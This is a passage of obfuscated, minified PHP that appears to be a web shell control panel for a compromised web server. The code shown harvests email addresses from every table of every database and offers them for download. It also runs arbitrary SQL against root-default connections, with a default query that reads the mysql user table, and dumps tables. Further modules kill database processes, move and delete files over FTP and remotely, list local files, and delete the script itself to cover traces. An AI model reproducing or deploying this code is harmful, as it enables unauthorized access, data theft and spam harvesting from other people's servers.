$dump_table){if($sql->parse_fields($dump_table)){foreach($sql->columns as $ck=>$cv){if($sql->query(\"SELECT \".$cv.\" FROM \".$dump_table.\" WHERE \".$cv.\" REGEXP '^[^@]+@[^@]+\\.[^@]{2,}$';\")){if($sql->get_result()){for($i=0;$i<$sql->num_rows;$i++){$tmpmails=z3v($sql->rows[$i][$cv]);if(@count($tmpmails)>0){foreach($tmpmails as $mtmp)$emails[]=$mtmp;}}}}}}}$emails=@array_unique($emails);if(@count($emails)>0){$maildump=@implode(\"\\r\\n\",$emails);if(@isset($sql_download)&&$sql_download==\"1\"){@ob_clean();@header(\"Content-type: application\/octet-stream\");@header(\"Content-length: \".@strlen($maildump));@header(\"Content-disposition: attachment; filename=\\\"\".@basename($emails_filename).\"\\\";\");echo $maildump;exit();}if(!@isset($sql_save2file)||$sql_save2file!=\"1\"){echo z9m('2').z6g().z6w().z5w('','1').@htmlspecialchars($maildump).z5q().z7g().z7u().z10w().z6d();}elseif($fp||@function_exists('file_put_contents')){if(@fwrite($fp,$maildump)or@fputs($fp,$maildump)or@file_put_contents($emails_filename,$maildump)){echo z2b(z9s(\"449\",$emails_filename));}else{echo z2b(z9s(\"450\"));}}else{echo z2b(z9s(\"450\"));}}}}}if($sql_act==\"serverstatus\"){echo z2b(z9s(\"378\"),\"1\");$sql->query(\"SHOW STATUS\");if($sql->get_result()){echo z9m('2').z7i(z9j(z9s(\"380\"),\"13\",\"2\").z9j(z9s(\"381\"),\"13\",\"3\"));for($i=0;$i<$sql->num_rows;$i++){echo z6g(($i%2?'0':'1'));$cr=0;foreach($sql->rows[$i]as $rk=>$rv){echo z9j($rv,\"14\",($cr==0?'25':($cr==(@count($sql->rows[$i])-1)?'3':'')));$cr++;}echo z7u();}echo z10w();}}if($sql_act==\"servervars\"){echo z2b(z9s(\"379\"),\"1\");$sql->query(\"SHOW VARIABLES\");if($sql->get_result()){echo z9m('2').z7i(z9j(z9s(\"380\"),\"13\",\"2\").z9j(z9s(\"381\"),\"13\",\"3\"));for($i=0;$i<$sql->num_rows;$i++){echo z6g(($i%2?'0':'1'));$cr=0;foreach($sql->rows[$i]as $rk=>$rv){echo z9j($rv,\"14\",($cr==0?'25':($cr==(@count($sql->rows[$i])-1)?'3':'')));$cr++;}echo z7u();}echo z10w();}}if($sql_act==\"processes\"){if(@isset($kill)&&!@empty($kill)){$query=\"KILL \".$kill.\";\";$sql->query($query);echo z2b(z9s(\"393\",$kill),\"1\");}else{echo z2b(z9s(\"382\"),\"1\");}$sql->query(\"SHOW PROCESSLIST;\");if($sql->get_result()){echo z9m('2').z7i(z9j(z9s(\"383\"),\"13\",\"2\").z9j(z9s(\"384\"),\"13\").z9j(z9s(\"385\"),\"13\").z9j(z9s(\"386\"),\"13\").z9j(z9s(\"387\"),\"13\").z9j(z9s(\"388\"),\"13\").z9j(z9s(\"389\"),\"13\").z9j(z9s(\"390\"),\"13\").z9j(z9s(\"391\"),\"13\",\"3\"));for($i=0;$i<$sql->num_rows;$i++){echo z6g(($i%2?'0':'1'));$cr=0;$pid='';foreach($sql->rows[$i]as $rk=>$rv){echo z9j($rv,\"14\",($cr==0?'5':''));if($cr==0)$pid=$rv;$cr++;}echo z9j(z5c(array(\"act\"=>\"sql\",\"d\",\"sql_server\",\"sql_user\",\"sql_pass\",\"sql_port\",\"sql_engine\",\"sql_act\"=>\"processes\",\"kill\"=>$pid),z8v(z9s(\"392\"),\"7\")),\"14\");echo z7u();}echo z10w();}}if($sql_act==\"showdb\"){$psql_sort=z5r($sql_sort);if($psql_sort[1]!='a')$psql_sort[1]='d';if($psql_sort[0]>2)$psql_sort[0]='0';$v=$psql_sort[0];echo z2b(z9s(\"359\"),\"1\");echo z9m('2');echo z7i(z9j(z5c(array(\"act\"=>\"sql\",\"d\",\"sql_server\",\"sql_user\",\"sql_pass\",\"sql_port\",\"sql_engine\",\"sql_sort\"=>($psql_sort[0]=='0'?'0'.($psql_sort[1]==\"a\"?\"d\":\"a\"):'0'.$psql_sort[1])),z8v(z9s(\"360\").($psql_sort[0]=='0'?' '.($psql_sort[1]==\"a\"?'&uarr;':'&darr;'):''),'3')),\"13\",\"2\").z9j(z5c(array(\"act\"=>\"sql\",\"d\",\"sql_server\",\"sql_user\",\"sql_pass\",\"sql_port\",\"sql_engine\",\"sql_sort\"=>($psql_sort[0]=='1'?'1'.($psql_sort[1]==\"a\"?\"d\":\"a\"):'1'.$psql_sort[1])),z8v(z9s(\"361\").($psql_sort[0]=='1'?' '.($psql_sort[1]==\"a\"?'&uarr;':'&darr;'):''),'3')),\"13\").z9j(z5c(array(\"act\"=>\"sql\",\"d\",\"sql_server\",\"sql_user\",\"sql_pass\",\"sql_port\",\"sql_engine\",\"sql_sort\"=>($psql_sort[0]=='2'?'2'.($psql_sort[1]==\"a\"?\"d\":\"a\"):'2'.$psql_sort[1])),z8v(z9s(\"362\").($psql_sort[0]=='2'?' '.($psql_sort[1]==\"a\"?'&uarr;':'&darr;'):''),'3')),\"13\").z9j(z9s(\"363\"),\"13\",\"3\"));if(@count($db_list)>1){$def_db=$sql->base;$total_tables=0;$total_size=0;$print_arr=array();foreach($sql->list_dbs()as $k=>$kv){$sql->base=$k;$tables=\"0\";$size=\"0\";if($sql->select_db()){$sql->query(\"SHOW TABLES;\");if($sql->get_result())$tables=$sql->num_rows;$sql->query(\"SELECT round(data_length + index_length) FROM information_schema.TABLES WHERE table_schema = \\\"\".$k.\"\\\";\");if($sql->get_result())$size=@implode('',$sql->rows[0]);}$print_arr[]=array($k,$size,$tables);$total_tables+=$tables;$total_size+=$size;}$sql->base=$def_db;$sql->select_db();}if(@count($print_arr)>0){$count=0;@usort($print_arr,\"z3i\");if($psql_sort[1]==\"d\"){$print_arr=@array_reverse($print_arr);}foreach($print_arr as $ar){echo z7i(z9j(z5c(array(\"act\"=>\"sql\",\"sql_server\",\"sql_user\",\"sql_pass\",\"sql_port\",\"sql_engine\",\"sql_act\"=>\"db_act\",\"db_act\"=>\"select\",\"d\",\"sql_db\"=>$ar[0]),z8v($ar[0],\"11\")),\"14\",\"2\").z9j(z7c($ar[1]),\"14\").z9j($ar[2],\"14\").z9j(\"<nobr>\".z5c(array(\"act\"=>\"sql\",\"d\",\"sql_server\",\"sql_user\",\"sql_pass\",\"sql_port\",\"sql_engine\",\"sql_act\"=>\"db_act\",\"sql_db\"=>$ar[0]),z4a(\"db_act\",$db_actions,\"3\").z8v(\"&raquo;\",\"6\")).\"<\/nobr>\",\"14\",\"38\"),($count%2?'0':'1'));$count++;}echo z7i(z9j(z8e(z9s(\"409\",$count)),\"13\",\"2\").z9j(z7c($total_size),\"13\").z9j($total_tables,\"13\").z9j(z9c(),\"13\",\"3\"));}echo z10w();}}}else{$hmsg=z9s(\"191\");}}if(!$hideconnect){if(!@isset($q_sql_query))$q_sql_query=\"SHOW DATABASES;\\nSELECT * FROM user;\";if(!@isset($q_sql_filename))$q_sql_filename=$tempdir.\"dump_\".@getenv(\"SERVER_NAME\").\"_db_\".@date(\"d-m-Y_H-i-s\").\".sql\";$available_arr=array();if($bmysql)$available_arr[\"MySQL\"]=\"MySQL\";if($bmssql)$available_arr[\"MSSQL\"]=\"MSSQL\";if($bpostgres)$available_arr[\"PostgreSQL\"]=\"PostgreSQL\";if($boracle)$available_arr[\"Oracle\"]=\"Oracle\";echo z2b(z9s(\"451\").($hmsg!=''?' : '.$hmsg:''));echo z9m('2').z5c(array(\"act\"=>\"sql\",\"d\"),z5n().z7i(z7e(z8e(z9s(\"452\"))).z7l(z5u(\"sql_server\",\"127.0.0.1\",\"4\").\":\".z5u(\"sql_port\",\"3306\",\"1\")).z7e(z8e(z9s(\"453\"))).z7l(z5u(\"sql_user\",\"root\",\"4\")).z7e(z8e(z9s(\"454\"))).z7l(z5u(\"sql_pass\",\"\",\"4\")).z7e(z8e(z9s(\"455\"))).z7l(z5u(\"sql_db\",\"\",\"4\")).z7e(z8e(z9s(\"456\"))).z7l(z4a(\"sql_engine\",array(\"MySQL\"=>\"MySQL\"),\"4\",1).z8v(z9s(\"457\"),\"7\")))).z10w();echo z6d();echo z2b(array(z9s(\"410\"),z9s(\"420\")),'46');echo z9m('2').z9f(z9j(z5c(array(\"act\"=>\"sql\",\"d\",\"q_sql_action\"=>\"dump\"),z9m().z5n().z7i(z5t(z9s(\"411\")).z9j(z4a(\"q_sql_engine\",$available_arr,\"4\",1))).z7i(z5t(z9s(\"412\")).z9j(z5u(\"q_sql_server\",\"127.0.0.1\",'4').\":\".z5u(\"q_sql_port\",\"3306\",\"1\"))).z7i(z5t(z9s(\"413\")).z9j(z5u(\"q_sql_user\",\"root\",\"4\").\":\".z5u(\"q_sql_pass\",\"\",\"4\"))).z7i(z5t(z9s(\"414\")).z9j(z5u(\"q_sql_db\",\"mysql\",\"4\").\".\".z5u(\"q_sql_table\",\"user\",\"4\"))).z7i(z5t(z9s(\"415\")).z9j(z5u(\"q_sql_filename\",$q_sql_filename,\"8\"))).z7i(z5t(z9c()).z9j(z5y(\"q_sql_download\",z9s(\"416\"),\"q_sql_download\"))).z7i(z5t(z9c()).z9j(z5y(\"q_sql_save2file\",z9s(\"417\"),\"q_sql_save2file\"))).z7i(z5t(z9c()).z9j(z8v(z9s(\"418\"),\"7\"))).z5n().z10w()),'','4').z9j(z5c(array(\"act\"=>\"sql\",\"d\",\"q_sql_action\"=>\"query\"),z9m().z5n().z7i(z5t(z9s(\"411\")).z9j(z4a(\"q_sql_engine\",$available_arr,\"4\",1))).z7i(z5t(z9s(\"412\")).z9j(z5u(\"q_sql_server\",\"127.0.0.1\",\"4\").\":\".z5u(\"q_sql_port\",\"3306\",\"1\"))).z7i(z5t(z9s(\"413\")).z9j(z5u(\"q_sql_user\",\"root\",\"4\").\":\".z5u(\"q_sql_pass\",\"\",\"4\"))).z7i(z5t(z9s(\"421\")).z9j(z5u(\"q_sql_db\",\"mysql\",\"4\"))).z9f(z5t(z9s(\"370\")).z9j(z5w(\"q_sql_query\",\"4\").@htmlspecialchars($q_sql_query).z5q())).z7i(z5t(z9c()).z9j(z8v(z9s(\"422\"),\"7\"))).z5n().z10w()),'',\"46\")).z10w();if(@isset($q_sql_action)&&$q_sql_action==\"query\"){$sql=new my_sql();$sql->db=$q_sql_engine;$sql->host=$q_sql_server;$sql->port=$q_sql_port;$sql->user=$q_sql_user;$sql->pass=$q_sql_pass;$sql->base=$q_sql_db;$querys=@explode(';',$q_sql_query);$q_sql_connect_error=\"\";$q_sql_error='';$q_sql_result='';if(!$sql->connect())$q_sql_connect_error=z2b(z9s(\"419\"));else{if(!empty($sql->base)&&!$sql->select_db())$q_sql_connect_error=z2b(z9s(\"447\"));else{foreach($querys as $num=>$query){if(@strlen($query)>5){$q_sql_result.=z2b(z9s(\"423\",array($num,@htmlspecialchars($query,ENT_QUOTES))));switch($sql->query($query)){case '0':$q_sql_result.=z2b(\"ERROR : \".$sql->error);break;case '1':if($sql->get_result()){$q_sql_result.=z9m('2').z7p().z7k().z5x('',\"0\").z9m(\"2\").z7p().z7k();foreach($sql->columns as $k=>$v)$sql->columns[$k]=@htmlspecialchars($v,ENT_QUOTES);$keys=\"\";$count_keys=@count($sql->columns);$key_num=0;foreach($sql->columns as $column){if($key_num==0){$keys.=z9j($column,\"13\",\"02\");}elseif($key_num==($count_keys-1)){$keys.=z9j($column,\"13\",\"03\");}else{$keys.=z9j($column,\"13\",\"0\");}$key_num++;}$q_sql_result.=z7i($keys);for($i=0;$i<$sql->num_rows;$i++){foreach($sql->rows[$i]as $k=>$v)$sql->rows[$i][$k]=@htmlspecialchars($v,ENT_QUOTES);$values=\"\";$count_values=@count($sql->rows[$i]);$value_num=0;foreach($sql->rows[$i]as $row){if($value_num==0){$values.=z9j($row,\"14\",\"2\");}elseif($value_num==($count_values-1)){$values.=z9j($row,\"14\",\"3\");}else{$values.=z9j($row,\"14\");}$value_num++;}$q_sql_result.=z7i($values,($i%2?'0':'1'));}$q_sql_result.=z7g().z7u().z10w().z5j().z7g().z7u().z10w();}break;case '2':$ar=$sql->affected_rows()?($sql->affected_rows()):('0');$q_sql_result.=z2b(\"AFFECTED ROWS: \".$ar);break;}}if($q_sql_result!=''){echo $q_sql_result;$q_sql_result='';}}}}if($q_sql_connect_error!=\"\"){echo $q_sql_connect_error;}}if(@isset($q_sql_action)&&$q_sql_action==\"dump\"){$fp=0;if(@isset($q_sql_save2file)&&$q_sql_save2file==\"1\"&&@isset($q_sql_filename)&&!@empty($q_sql_filename)){if(z4q($q_sql_filename))@unlink($q_sql_filename);$fp=@fopen($q_sql_filename,\"a\");}$q_sql_filename=@str_replace(\"_db_\",\"_\".$q_sql_db.\"_\",$q_sql_filename);$sql=new my_sql();$sql->db=$q_sql_engine;$sql->host=$q_sql_server;$sql->port=$q_sql_port;$sql->user=$q_sql_user;$sql->pass=$q_sql_pass;$sql->base=$q_sql_db;$q_sql_dumped=\"\";if(!$sql->connect()){echo z2b(z9s(\"419\"));}elseif(!$sql->select_db()){echo z2b(z9s(\"447\"));}elseif(!$sql->dump($q_sql_table)){echo z2b(z9s(\"458\"));}else{if(@isset($q_sql_download)&&$q_sql_download==\"1\"){@ob_clean();@header(\"Content-type: application\/octet-stream\");@header(\"Content-disposition: attachment; filename=\\\"\".@basename($q_sql_filename).\"\\\";\");foreach($sql->dump as $v)echo $v.\"\\r\\n\";exit();}if(!@isset($q_sql_save2file)||$q_sql_save2file!=\"1\"){echo z9m('2').z6g().z6w().z5w('','1');foreach($sql->dump as $v)echo@htmlspecialchars($v).\"\\r\\n\";echo z5q().z7g().z7u().z10w().z6d();}else if($fp){foreach($sql->dump as $v){if(!@fwrite($fp,$v.\"\\r\\n\")){@fputs($fp,$v.\"\\r\\n\");}}if(z4q($q_sql_filename)){z2b(z9s(\"459\"));}else{echo z2b(z9s(\"450\"));}}else{echo z2b(z9s(\"450\"));}}}}}if($act==\"selfremove\"){if(@isset($dconfirm)&&$dconfirm){if($saddr!=\"127.0.0.1\")echo z2b((@unlink(__FILE__)?z9s(\"462\"):z9s(\"463\",__FILE__)));}else{echo z2b(z9s(\"460\"));echo z6d().z10e(z7i(z6x(z8e(z9s(\"461\")).z5c(array(\"act\"=>\"selfremove\",\"d\",\"dconfirm\"=>\"1\"),z8v(z9s(\"21\"),\"7\")).z9c().z5c($back_form_actions,z8v(z9s(\"22\"),'7')))),\"2\").z6d();}}if($act=='ftp'){$a_transfer=array(\"FTP_BINARY\"=>\"FTP_BINARY\",\"FTP_ASCII\"=>\"FTP_ASCII\");$hmsg='';$hideconnect=0;$jsid=0;if(@isset($ftp_server)&&!@isset($ftp_passive))$ftp_passive=0;if(!@isset($ftp_server)&&!@isset($ftp_passive))$ftp_passive=\"1\";if(@isset($ft)&&$ft==\"logoff\"){if(@isset($_SESSION['ftp_server'])){z0u('ftp_current_dir'.$_SESSION['ftp_server']);}z0u('ftp_server');z0u('ftp_username');z0u('ftp_password');z0u('ftp_port');z0u('ftp_passive');z0u('ftp_session');}$ftp_session=0;if(@isset($_SESSION['ftp_session'])){$ftp_server=$_SESSION['ftp_server'];$ftp_username=$_SESSION['ftp_username'];$ftp_password=$_SESSION['ftp_password'];$ftp_port=$_SESSION['ftp_port'];$ftp_passive=$_SESSION['ftp_passive'];$ftp_session=1;}if(!@empty($ftp_server)&&!@empty($ftp_port)&&!@empty($ftp_username)&&!@empty($ftp_password)&&!@isset($ftp_quickaction)){$ftp=new ftp($ftp_server,$ftp_port,$ftp_username,$ftp_password,$ftp_passive);if($ftp->loggedOn){if(!@isset($ftp_current_dir)||@empty($ftp_current_dir)){$ftp_current_dir=z1a((@isset($_SESSION['ftp_current_dir'.$ftp_server])?$_SESSION['ftp_current_dir'.$ftp_server]:'\/'));}if(@isset($rd))$ftp_current_dir=z1a($ftp_current_dir.$rd);$ftp->setCurrentDir($ftp_current_dir);$ftp_current_dir=$ftp->currentDir;$_SESSION['ftp_current_dir'.$ftp_server]=$ftp_current_dir;$_SESSION['ftp_server']=$ftp_server;$_SESSION['ftp_username']=$ftp_username;$_SESSION['ftp_password']=$ftp_password;$_SESSION['ftp_port']=$ftp_port;$_SESSION['ftp_passive']=$ftp_passive;$_SESSION['ftp_session']=1;$hideconnect=1;$hmsg=z5c(array(\"act\"=>\"ftp\",\"d\",\"ft\"=>\"logoff\"),z8v(z9s(\"196\"),\"1\"));}else{$hmsg=z9s(\"191\");}}if(!@isset($ftp_server)||@empty($ftp_server))$ftp_server=\"127.0.0.1\";if(!@isset($ftp_port)||@empty($ftp_port))$ftp_port=\"21\";if(!@isset($ftp_username)||@empty($ftp_username))$ftp_username=\"anonymous\";if(!@isset($ftp_password)||@empty($ftp_password))$ftp_password=\"anonymous@ftp.com\";if(!@isset($ftp_localfile)||@empty($ftp_localfile))$ftp_localfile=$d;if(!@isset($ftp_remotefile)||@empty($ftp_remotefile))$ftp_remotefile=\"\/ftp-dir\/somefile.txt\";if($hideconnect){if(@isset($lmkdir)&&$lmkdir&&@isset($ldir)&&!@empty($ldir)){@mkdir($d.$ldir);}if(@isset($fmkdir)&&$fmkdir&&@isset($fdir)&&!@empty($fdir)){$ftp->makeDir(z1a($ftp_current_dir).$fdir);}$ltarr=array();$rtarr=array();if(@isset($action)&&!@empty($action)&&(@isset($ltall)||@isset($rtall))){$ft=$action;if(@isset($rtall)||@strstr($rtall,\"\\n\")){$rtarr=@explode(\"\\n\",$rtall);}elseif(@isset($ltall)||@strstr($ltall,\"\\n\")){$ltarr=@explode(\"\\n\",$ltall);}}if(@isset($ft)){switch($ft){case \"delete\":if(@isset($lt)&&!@empty($lt)&&z4q($lt)){z8d($lt);}elseif(@isset($rt)&&!@empty($rt)){$ftp->deleteObject(z1a($ftp_current_dir).$rt);}elseif(@count($ltarr)>0){foreach($ltarr as $lto){$lto=@trim($lto);if(!@empty($lto)&&z4q($lto)){z8d($lto);}}}elseif(@count($rtarr)>0){foreach($rtarr as $rto){$rto=@trim($rto);if(!@empty($rto)){$ftp->deleteObject(z1a($ftp_current_dir).$rto);}}}break;case \"upload\":if(@isset($lt)&&!@empty($lt)&&z4q($lt)){$ftp->putObject($lt,z1a($ftp_current_dir));}elseif(@count($ltarr)>0){foreach($ltarr as $lto){$lto=@trim($lto);if(!@empty($lto)&&z4q($lto)){$ftp->putObject($lto,z1a($ftp_current_dir));}}}break;case \"download\":if(@isset($rt)&&!@empty($rt)){$ftp->getObject(z1a($ftp_current_dir).$rt,$d);}elseif(@count($rtarr)>0){foreach($rtarr as $rto){$rto=@trim($rto);if(!@empty($rto)){$ftp->getObject(z1a($ftp_current_dir).$rto,$d);}}}break;default:break;}}$frml=z9s(\"194\").z9c().z5c(array('act'=>'ftp','d','lmkdir'=>'1'),z6i('ldir','','2').z8v(z9s(\"195\"),'7'));$frmf=z9s(\"194\").z9c().z5c(array('act'=>'ftp','d','fmkdir'=>'1'),z6i('fdir','','2').z8v(z9s(\"195\"),'7'));echo z2b(array(z10e(z7i(z7l(z9s(\"192\")).z7e($frml)),'2'),z10e(z7i(z7l(z9s(\"193\").z9c().$hmsg).z7e($frmf)),'2')),'4');$listf=$ftp->ftpRawList();$listl=z8k($d);$lsl=array();$lsl[\"d\"]=array();$lsl[\"l\"]=array();$lsl[\"f\"]=array();$lsf=array();$lsf[\"d\"]=array();$lsf[\"l\"]=array();$lsf[\"f\"]=array();if(@is_array($listl)&&@count($listl)>0){foreach($listl as $lf){$fn=z2h($lf);if($fn!='.'&&$fn!='..'){if(z4j($lf)){$lsl[\"d\"][]=array($lf,'DIR');}elseif(z3j($lf)){$lsl[\"l\"][]=array($lf,'LINK');}else{$lsl[\"f\"][]=array($lf,(@filesize($lf)!==false?@filesize($lf):'FILE'));}}}}if(@is_array($listf)&&@count($listf)>0){foreach($listf as $rf){if($rf[1]!='.'&&$rf[1]!='..'){if($rf[0]=='d'){$lsf[\"d\"][]=array($rf[1],'DIR');}elseif($rf[0]=='l'){$rfd=(@strstr($rf[1],' -> ')?@substr($rf[1],0,@strpos($rf[1],' -> ')):$rf[1]);$lsf['l'][]=array($rfd,'LINK');}else{$lsf['f'][]=array($rf[1],$rf[2]);}}}}if(!@isset($flsort)){if(@isset($_SESSION['flsort'])){$flsort=$_SESSION['flsort'];}else{$flsort='0a';}}$_SESSION['flsort']=$flsort;$pflsort=z5r($flsort);if($pflsort[1]!='a')$pflsort[1]='d';$v=$pflsort[0];@usort($lsl[\"d\"],\"z3i\");@usort($lsl[\"l\"],\"z3i\");@usort($lsl[\"f\"],\"z3i\");if($pflsort[1]==\"d\"){$lsl[\"d\"]=@array_reverse($lsl[\"d\"]);$lsl[\"l\"]=@array_reverse($lsl[\"l\"]);$lsl[\"f\"]=@array_reverse($lsl[\"f\"]);}if(!@isset($ffsort)){if(@isset($_SESSION['ffsort'])){$ffsort=$_SESSION['ffsort'];}else{$ffsort='0a';}}$_SESSION['ffsort']=$ffsort;$pffsort=z5r($ffsort);$ffsort=$pffsort[0].$pffsort[1];if($pffsort[1]!='a')$pffsort[1]='d';$v=$pffsort[0];@usort($lsf[\"d\"],\"z3i\");@usort($lsf[\"l\"],\"z3i\");@usort($lsf[\"f\"],\"z3i\");if($pffsort[1]==\"d\"){$lsf[\"d\"]=@array_reverse($lsf[\"d\"]);$lsf[\"l\"]=@array_reverse($lsf[\"l\"]);$lsf[\"f\"]=@array_reverse($lsf[\"f\"]);}$list_l=array();$list_f=array();$list_l[]=array($d.'..','LINK');$list_f[]=array('..','LINK');foreach($lsl[\"d\"]as $lf)$list_l[]=$lf;foreach($lsl[\"l\"]as $lf)$list_l[]=$lf;foreach($lsl[\"f\"]as $lf)$list_l[]=$lf;foreach($lsf[\"d\"]as $rf)$list_f[]=$rf;foreach($lsf[\"l\"]as $rf)$list_f[]=$rf;foreach($lsf[\"f\"]as $rf)$list_f[]=$rf;$cl=@count($list_l);$cf=@count($list_f);echo z9m('2').z6g().z7k('','4');z8j('l');echo z7g().z7k('','46');z8j('f');echo z7g().z7u().z10w();echo z9m('2').z7p().z7k('','4').z5x('',\"1\").z9m('2');echo z7i(z7l(z5c(array('act','d','ffsort','flsort'=>($pflsort[0]=='0'?'0'.($pflsort[1]==\"a\"?\"d\":\"a\"):'0'.$pflsort[1])),z8v(z9s(\"57\").($pflsort[0]=='0'?' '.($pflsort[1]==\"a\"?'&uarr;':'&darr;'):''),'3')),'8','2').z7e(z5c(array('act','d','ffsort','flsort'=>($pflsort[0]=='1'?'1'.($pflsort[1]==\"a\"?\"d\":\"a\"):'1'.$pflsort[1])),z8v(z9s(\"58\").($pflsort[0]=='1'?' '.($pflsort[1]==\"a\"?'&uarr;':'&darr;'):''),'3')),'8','').z7l(z9s(\"62\"),'8','3'));for($i=0;$i<$cl;$i++){$disp=z2h($list_l[$i][0]);if((!@is_numeric($list_l[$i][1])&&$list_l[$i][1]=='DIR')||$disp=='..'){$o=z5c(array('act'=>'ftp','flsort','ffsort','d'=>$list_l[$i][0]),z8n('small_dir','','9').z8v(z8f($disp,40),'10',z3c($disp,'d')));}else{$ext=z2h($list_l[$i][0],'.');$o=z5c(array('act'=>'ftp','flsort','ffsort','d','ft'=>'upload','lt'=>$list_l[$i][0]),z8n($ext,'','9').z8v(z8f($disp,40),'11',z3c($disp,'f')));}echo z7i(z7l($o,'19','2').z7e((@is_numeric($list_l[$i][1])?z7c($list_l[$i][1]):$list_l[$i][1]),'10').z7l(($disp=='..'?z0w($list_l[$i][0]):z0t($list_l[$i][0]).z4n($list_l[$i][0],'idloc',($i%2?'tra':'trb').$jsid)),'10'),($i%2?'0':'1'),($i%2?'tra':'trb').$jsid);$jsid++;}echo z10w().z5j().z7g().z7k('','46').z5x('',\"1\").z9m('2');echo z7i(z7l(z5c(array('act','d','flsort','ffsort'=>($pffsort[0]=='0'?'0'.($pffsort[1]==\"a\"?\"d\":\"a\"):'0'.$pffsort[1])),z8v(z9s(\"57\").($pffsort[0]=='0'?' '.($pffsort[1]==\"a\"?'&uarr;':'&darr;'):''),'3')),'8','2').z7e(z5c(array('act','d','flsort','ffsort'=>($pffsort[0]=='1'?'1'.($pffsort[1]==\"a\"?\"d\":\"a\"):'1'.$pffsort[1])),z8v(z9s(\"58\").($pffsort[0]=='1'?' '.($pffsort[1]==\"a\"?'&uarr;':'&darr;'):''),'3')),'8','').z7l(z9s(\"62\"),'8','3'));for($i=0;$i<$cf;$i++){$disp=z2h($list_f[$i][0]);if((!@is_numeric($list_f[$i][1])&&$list_f[$i][1]==\"DIR\")||$disp=='..'){$o=z5c(array('act'=>'ftp','flsort','ffsort','d','rd'=>$list_f[$i][0]),z8n('small_dir','','9').z8v(z8f($disp,40),'10',z3c($disp,'d')));}else{$ext=z2h($list_f[$i][0],'.');$o=z5c(array('act'=>'ftp','flsort','ffsort','d','ft'=>'download','rt'=>$list_f[$i][0]),z8n($ext,'','9').z8v(z8f($disp,40),'11',z3c($disp,'f')));}echo z7i(z7l($o,'19','2').z7e((@is_numeric($list_f[$i][1])?z7c($list_f[$i][1]):$list_f[$i][1]),'10').z7l(($disp=='..'?z0q($list_f[$i][0]):z0r($list_f[$i][0]).z4n($list_f[$i][0],'idftp',($i%2?'tra':'trb').$jsid)),'10'),($i%2?'0':'1'),($i%2?'tra':'trb').$jsid);$jsid++;}echo z10w().z5j().z7g().z7u().z10w();echo z9m('2').z7p().z7k('','4').z0p('idloc','ltall',z9b('act').z9b('flsort').z9b('ffsort').z9b('d').z9b('ftpmloc','1'),array(''=>z9s(\"66\"),'upload'=>z9s(\"197\"),'delete'=>z9s(\"199\"))).z7g().z7k('','4').z0p('idftp','rtall',z9b('act').z9b('flsort').z9b('ffsort').z9b('d').z9b('ftpmrem','1'),array(''=>z9s(\"66\"),'download'=>z9s(\"198\"),'delete'=>z9s(\"199\"))).z7g().z7u().z10w();}else{echo z2b(z9s(\"185\").z9c().($hmsg!=''?' : '.$hmsg:''));echo z6d().z10e(z7i(z5c(array(\"act\"=>\"ftp\",\"d\"),z6x(z8e(z9s(\"186\")).z6i(\"ftp_server\",$ftp_server,'5').z6i(\"ftp_port\",$ftp_port,'6')).z6x(z8e(z9s(\"187\")).z6i(\"ftp_username\",$ftp_username,'5')).z6x(z8e(z9s(\"188\")).z6i(\"ftp_password\",$ftp_password,'5').z8v(z9s(\"189\"),'7').' '.z5y(\"ftp_passive1\",z9s(\"190\"),\"ftp_passive\")))),'2').z6d();$dmsg=$umsg='';if(!@empty($ftp_server)&&!@empty($ftp_port)&&!@empty($ftp_username)&&!@empty($ftp_password)&&@isset($ftp_quickaction)){$ftp=new ftp($ftp_server,$ftp_port,$ftp_username,$ftp_password,$ftp_passive);if($ftp->loggedOn){if($ftp_quickaction==\"upload\"){$umsg=($ftp->put($ftp_remotefile,$ftp_localfile)?z9s(\"208\"):z9s(\"209\"));}elseif($ftp_quickaction==\"download\"){$dmsg=($ftp->get($ftp_remotefile,$ftp_localfile,1)?z9s(\"210\"):z9s(\"211\"));}}else{if($ftp_quickaction==\"upload\"){$umsg=z9s(\"191\");}else{$dmsg=z9s(\"191\");}}}echo z2b(array(z9s(\"200\").z9c().($dmsg!=''?\" : \".$dmsg:''),z9s(\"201\").z9c().($umsg!=''?\" : \".$umsg:'')),'46');echo z10e(z9f(z9j(z5c(array('act'=>'ftp','ftp_quickaction'=>'download','d'),z10e(z5n().z7i(z5t(z9s(\"202\")).z9j(z6i('ftp_server',$ftp_server,'2').z6i('ftp_port',$ftp_port,'6'))).z7i(z5t(z9s(\"203\")).z9j(z6i('ftp_username',$ftp_username,'4').z6i('ftp_password',$ftp_password,'5'))).z7i(z5t(z9s(\"204\")).z9j(z6i('ftp_remotefile',$ftp_remotefile,'0'))).z7i(z5t(z9s(\"205\")).z9j(z6i('ftp_localfile',$ftp_localfile,'0'))).z7i(z5t('').z9j(z8v(z9s(\"207\"),'7').z5y(\"ftp_passive2\",z9s(\"190\"),\"ftp_passive\"))).z5n())),'','4').z9j(z5c(array('act'=>'ftp','ftp_quickaction'=>'upload','d'),z10e(z5n().z7i(z5t(z9s(\"202\")).z9j(z6i('ftp_server',$ftp_server,'2').z6i('ftp_port',$ftp_port,'6'))).z7i(z5t(z9s(\"203\")).z9j(z6i('ftp_username',$ftp_username,'4').z6i('ftp_password',$ftp_password,'5'))).z7i(z5t(z9s(\"205\")).z9j(z6i('ftp_localfile',$ftp_localfile,'0'))).z7i(z5t(z9s(\"204\")).z9j(z6i('ftp_remotefile',$ftp_remotefile,'0'))).z7i(z5t('').z9j(z8v(z9s(\"206\"),'7').z5y(\"ftp_passive3\",z9s(\"190\"),\"ftp_passive\"))).z5n())),'','46')),'2');}}if($act=='ls'){if(!@isset($sort)){if(@isset($_SESSION['sort'])){$sort=$_SESSION['sort'];}else{$sort=z7x('3','default_sort');}}$_SESSION['sort']=$sort;if(!@isset($ftarget))$ftarget='';if(!@isset($fullpath))$fullpath=0;if(!@isset($with_ls))$with_ls=0;if(@isset($ls_a)&&@count($ls_a)>0){$list=$ls_a;}else{$list=z8k($d);$showbuf=0;}$ugstat=0;$jsid=0;if(z7r('posix_getpwuid')&&z7r('posix_getgrgid')&&z7r('fileowner')&&z7r('filegroup'))$ugstat=1;if(!@isset($nolsmenu)||!$nolsmenu){z2z();if(z0n($d))z4t();}z5p();if(@count($list)>0){$obj=array();$inf=array();$obj[\"h\"]=array();$obj[\"d\"]=array();$obj[\"l\"]=array();$obj[\"f\"]=array();foreach($list as 